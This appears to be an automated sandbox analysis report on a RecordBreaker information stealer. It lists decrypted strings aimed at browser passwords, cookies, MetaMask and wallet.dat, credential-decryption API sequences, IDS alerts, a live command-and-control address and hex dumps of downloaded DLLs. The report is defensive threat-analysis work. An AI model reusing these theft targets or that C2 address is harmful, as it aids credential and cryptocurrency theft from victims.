Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: NSS_Shutdown
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: PK11_GetInternalKeySlot
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: PK11_FreeSlot
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: PK11_Authenticate
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: PK11SDR_Decrypt
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: SECITEM_FreeItem
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: hostname":"
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: ","httpRealm":
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: encryptedUsername":"
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: ","encryptedPassword":"
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: ","guid":
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: Profiles
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: ://
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: ru
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: S-1-5-18
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: v10
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: /
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: Default
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: Profile %d
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: extensions
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: xtntns_
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: prefs.js
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: storage\default
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: 1
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: MetaMask
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: .sqlite
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: "webextension@metamask.io":"
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: TRUE
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: FALSE
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: explorer.exe
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: SOFTWARE\Microsoft\Cryptography
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: DisplayNam
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: DisplayVersion
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: %s %s
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: \ffcookies.txt
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: ?
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: Local State
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: ..
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: .
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: wallet.dat
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: .dll
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: libs
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: *.lnk
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: open

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 3_2_004030C0 LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,LocalFree,CryptUnprotectData,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalAlloc,PathCombineW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LocalAlloc,CopyFileW,DeleteFileW,LocalFree,LocalFree,LocalAlloc,lstrcpy,LocalAlloc,lstrcmp,LocalAlloc,lstrcmpW,wsprintfW,lstrlenW,CryptUnprotectData,lstrcmpW,wsprintfW,lstrlenW,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,	3_2_004030C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 3_2_00401C00 CryptStringToBinaryW,LocalAlloc,CryptStringToBinaryW,LocalFree,	3_2_00401C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 3_2_00402C12 LocalAlloc,StrCpyW,LocalAlloc,LocalAlloc,LocalFree,CryptUnprotectData,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LocalAlloc,LocalAlloc,PathCombineW,CopyFileW,LocalFree,LocalFree,LocalFree,LocalFree,LocalAlloc,lstrcpy,LocalAlloc,lstrcmp,LocalAlloc,wsprintfW,lstrlenW,CryptUnprotectData,wsprintfW,lstrlenW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,LocalFree,LocalFree,DeleteFileW,LocalFree,	3_2_00402C12
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 3_2_00403614 LocalAlloc,StrCpyW,LocalAlloc,LocalAlloc,LocalFree,CryptUnprotectData,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LocalAlloc,LocalAlloc,PathCombineW,CopyFileW,LocalFree,LocalFree,LocalFree,LocalFree,LocalAlloc,lstrcpy,LocalAlloc,lstrcmp,LocalAlloc,wsprintfW,lstrlenW,CryptUnprotectData,wsprintfW,lstrlenW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,LocalFree,LocalFree,DeleteFileW,LocalFree,	3_2_00403614
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 3_2_00401B8A CryptBinaryToStringW,LocalAlloc,CryptBinaryToStringW,StrCpyW,LocalFree,LocalFree,	3_2_00401B8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 3_2_00407194 LocalAlloc,lstrlenA,CryptStringToBinaryA,MultiByteToWideChar,LocalAlloc,MultiByteToWideChar,StrCpyW,LocalFree,StrCpyW,StrCpyW,LocalFree,	3_2_00407194

Source: xGSkelSjdu.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source:	Binary string: freebl3.pdb source: freebl3.dll.3.dr
Source:	Binary string: softokn3.pdbp source: softokn3.dll.3.dr
Source:	Binary string: mozglue.pdb@+ source: mozglue.dll.3.dr
Source:	Binary string: nss3.pdb source: nss3.dll.3.dr
Source:	Binary string: mozglue.pdb source: mozglue.dll.3.dr
Source:	Binary string: softokn3.pdb source: softokn3.dll.3.dr
Source:	Binary string: d:\agent\_work\2\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.3.dr
Source:	Binary string: d:\agent\_work\2\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.3.dr

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 3_2_004042C6 StrStrW,StrStrW,StrStrW,lstrlenW,LocalAlloc,lstrlenW,LocalAlloc,lstrlenW,LocalAlloc,StrStrW,StrStrW,LocalAlloc,PathCombineW,LocalAlloc,FindFirstFileW,StrStrW,LocalAlloc,StrCpyW,StrRChrW,StrRChrW,LocalAlloc,PathCombineW,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,StrStrW,LocalFree,LocalFree,LocalFree,	3_2_004042C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 3_2_0041EFCD LocalAlloc,StrCpyW,FindFirstFileW,LocalAlloc,PathCombineW,LocalFree,LocalAlloc,PathCombineW,LocalAlloc,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,StrCpyW,LocalAlloc,lstrlenW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CloseHandle,DeleteFileW,LocalAlloc,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,FindNextFileW,LocalFree,FindClose,	3_2_0041EFCD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 3_2_00407067 FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalFree,FindNextFileW,FindClose,lstrlenW,	3_2_00407067
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 3_2_004021E9 LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,PathCombineW,StrCpyW,FindFirstFileW,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,WideCharToMultiByte,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalAlloc,LocalAlloc,StrCpyW,wsprintfW,PathCombineW,FindFirstFileW,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,WideCharToMultiByte,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,	3_2_004021E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 3_2_00401D6F FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalFree,FindNextFileW,FindClose,StrStrW,StrStrW,LocalAlloc,PathCombineW,lstrlenW,	3_2_00401D6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 3_2_00401EF6 FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalFree,FindNextFileW,FindClose,StrStrW,lstrlenW,LocalAlloc,PathCombineW,lstrlenW,	3_2_00401EF6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 3_2_0041EC8D LocalAlloc,LocalAlloc,SHGetSpecialFolderPathW,lstrcmpW,StrCpyW,StrCpyW,FindFirstFileW,LocalFree,LocalFree,lstrcmpW,lstrcmpW,LocalAlloc,PathCombineW,lstrcmpW,LocalAlloc,PathCombineW,LocalAlloc,LocalAlloc,SHGetSpecialFolderPathW,lstrlenW,LocalAlloc,StrCpyW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalAlloc,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,StrCpyW,LocalFree,DeleteFileW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,LocalFree,FindClose,	3_2_0041EC8D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 3_2_00404593 StrStrW,StrStrW,StrStrW,lstrlenW,LocalAlloc,lstrlenW,LocalAlloc,lstrlenW,LocalAlloc,StrStrW,StrStrW,LocalAlloc,PathCombineW,LocalAlloc,FindFirstFileW,StrStrW,LocalAlloc,StrCpyW,StrRChrW,StrRChrW,LocalAlloc,PathCombineW,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,StrStrW,LocalFree,LocalFree,LocalFree,	3_2_00404593
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 3_2_00408349 LocalAlloc,LocalAlloc,LocalAlloc,PathCombineW,PathCombineW,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,ReadFile,lstrlenA,StrStrA,lstrlenA,StrStrA,LocalAlloc,FindFirstFileW,StrStrW,StrStrW,lstrlenW,lstrlenW,LocalAlloc,StrStrW,StrCpyW,LocalAlloc,PathCombineW,PathCombineW,LocalFree,FindNextFileW,FindClose,LocalFree,CloseHandle,DeleteFileW,LocalFree,DeleteFileW,LocalFree,	3_2_00408349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 3_2_004068D3 LocalAlloc,StrCpyW,lstrlenW,FindFirstFileW,LocalFree,LocalAlloc,PathCombineW,LocalFree,LocalAlloc,StrCpyW,LocalAlloc,StrCpyW,LocalAlloc,LocalAlloc,lstrlenW,lstrlenW,StrCpyW,LocalFree,LocalAlloc,CopyFileW,CreateFileW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,GetFileSize,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CloseHandle,DeleteFileW,LocalFree,DeleteFileW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,FindClose,	3_2_004068D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 3_2_00407471 LocalAlloc,FindFirstFileW,StrStrW,LocalAlloc,PathCombineW,LocalAlloc,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,StrCpyW,WideCharToMultiByte,LocalAlloc,LocalAlloc,WideCharToMultiByte,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,	3_2_00407471
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 3_2_00403D76 LocalAlloc,FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalAlloc,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,StrCpyW,WideCharToMultiByte,LocalAlloc,LocalAlloc,WideCharToMultiByte,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,	3_2_00403D76
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 3_2_0040770F LocalAlloc,StrCpyW,FindFirstFileW,LocalAlloc,PathCombineW,lstrcmpW,LocalAlloc,LocalAlloc,LocalAlloc,StrCpyW,StrCpyW,StrCpyW,LocalAlloc,LocalAlloc,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,WideCharToMultiByte,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,	3_2_0040770F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 3_2_0041479A LocalAlloc,StrCpyW,FindFirstFileW,LocalFree,LocalAlloc,PathCombineW,LocalAlloc,PathCombineW,LocalAlloc,StrCpyW,LocalAlloc,lstrlenW,LocalAlloc,CopyFileW,CreateFileW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalFree,CloseHandle,DeleteFileW,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,FindClose,	3_2_0041479A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 3_2_0040401E LocalAlloc,FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalAlloc,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,StrCpyW,WideCharToMultiByte,LocalAlloc,LocalAlloc,WideCharToMultiByte,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,	3_2_0040401E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 3_2_0040609F LocalAlloc,StrCpyW,FindFirstFileW,LocalFree,LocalAlloc,PathCombineW,LocalAlloc,PathCombineW,LocalAlloc,StrCpyW,LocalAlloc,lstrlenW,LocalAlloc,CopyFileW,CreateFileW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalFree,CloseHandle,DeleteFileW,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,FindClose,	3_2_0040609F

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Code function: 3_2_0041EA6E LocalAlloc,LocalFree,LocalAlloc,GetLogicalDriveStringsW,LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,WideCharToMultiByte,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,

3_2_0041EA6E

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2036934 ET TROJAN Win32/RecordBreaker CnC Checkin M1 192.168.2.3:49697 -> 85.192.63.15:80
Source: Traffic	Snort IDS: 2036955 ET TROJAN Win32/RecordBreaker CnC Checkin - Server Response 85.192.63.15:80 -> 192.168.2.3:49697

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://85.192.63.15/

Source: Joe Sandbox View

ASN Name: LINEGROUP-ASRU LINEGROUP-ASRU

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 27 Apr 2023 05:41:53 GMTContent-Type: application/octet-streamContent-Length: 2042296Connection: keep-aliveLast-Modified: Mon, 11 Apr 2022 19:39:48 GMTETag: "62548404-1f29b8"Expires: Thu, 27 Apr 2023 06:11:53 GMTCache-Control: max-age=1800Cache-Control: publicAccept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f6 f1 39 62 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 e0 19 00 00 26 05 00 00 00 00 00 d0 01 15 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 60 1f 00 00 04 00 00 fd d1 1f 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 f8 21 1d 00 5c 9d 00 00 54 bf 1d 00 40 01 00 00 00 40 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 b8 1f 00 00 00 50 1e 00 68 0a 01 00 68 fd 1c 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 f0 c4 1d 00 5c 04 00 00 94 21 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 69 de 19 00 00 10 00 00 00 e0 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 e4 e9 03 00 00 f0 19 00 00 ea 03 00 00 e4 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 14 4e 00 00 00 e0 1d 00 00 2a 00 00 00 ce 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 30 1e 00 00 02 00 00 00 f8 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 40 1e 00 00 04 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 68 0a 01 00 00 50 1e 00 00 0c 01 00 00 fe 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 27 Apr 2023 05:41:57 GMTContent-Type: application/octet-streamContent-Length: 449280Connection: keep-aliveLast-Modified: Mon, 11 Apr 2022 19:39:42 GMTETag: "625483fe-6db00"Expires: Thu, 27 Apr 2023 06:11:57 GMTCache-Control: max-age=1800Cache-Control: publicAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9b 28 c1 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 1f 84 07 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 00 3f 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 27 Apr 2023 05:41:58 GMTContent-Type: application/octet-streamContent-Length: 80128Connection: keep-aliveLast-Modified: Sat, 28 May 2022 21:52:46 GMTETag: "629299ae-13900"Expires: Thu, 27 Apr 2023 06:11:58 GMTCache-Control: max-age=1800Cache-Control: publicAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 95 28 c1 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 74 28 02 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 